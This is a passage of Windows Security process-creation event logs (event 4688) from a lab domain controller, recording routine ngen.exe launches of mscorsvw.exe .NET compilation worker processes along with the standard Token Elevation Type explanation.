	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 570 -InterruptEvent 0 -NGENProcess 53c -Pipe 520 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254449
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x374
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 540 -Pipe 5ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254468
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 548 -InterruptEvent 0 -NGENProcess 530 -Pipe 534 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254467
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x898
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 534 -InterruptEvent 0 -NGENProcess 548 -Pipe 59c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254466
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcec
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 59c -InterruptEvent 0 -NGENProcess 534 -Pipe 558 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254465
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1288
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 558 -InterruptEvent 0 -NGENProcess 59c -Pipe 5e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254464
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11d8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 580 -InterruptEvent 0 -NGENProcess 5a0 -Pipe 5b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254475
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 604 -InterruptEvent 0 -NGENProcess 5fc -Pipe 550 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254474
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1344
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 550 -InterruptEvent 0 -NGENProcess 604 -Pipe 5b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254473
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5f8 -InterruptEvent 0 -NGENProcess 5c8 -Pipe 53c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254472
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 53c -InterruptEvent 0 -NGENProcess 5f8 -Pipe 518 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254471
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 518 -InterruptEvent 0 -NGENProcess 53c -Pipe 560 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254470
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc40
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 518 -Pipe 530 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254469
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 530 -InterruptEvent 0 -NGENProcess 560 -Pipe 548 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254480
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4c8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 608 -InterruptEvent 0 -NGENProcess 640 -Pipe 630 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254479
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x32c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 630 -InterruptEvent 0 -NGENProcess 608 -Pipe 61c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254478
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf78
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 624 -InterruptEvent 0 -NGENProcess 5d4 -Pipe 614 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254477
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe70
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 614 -InterruptEvent 0 -NGENProcess 624 -Pipe 5fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254476
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
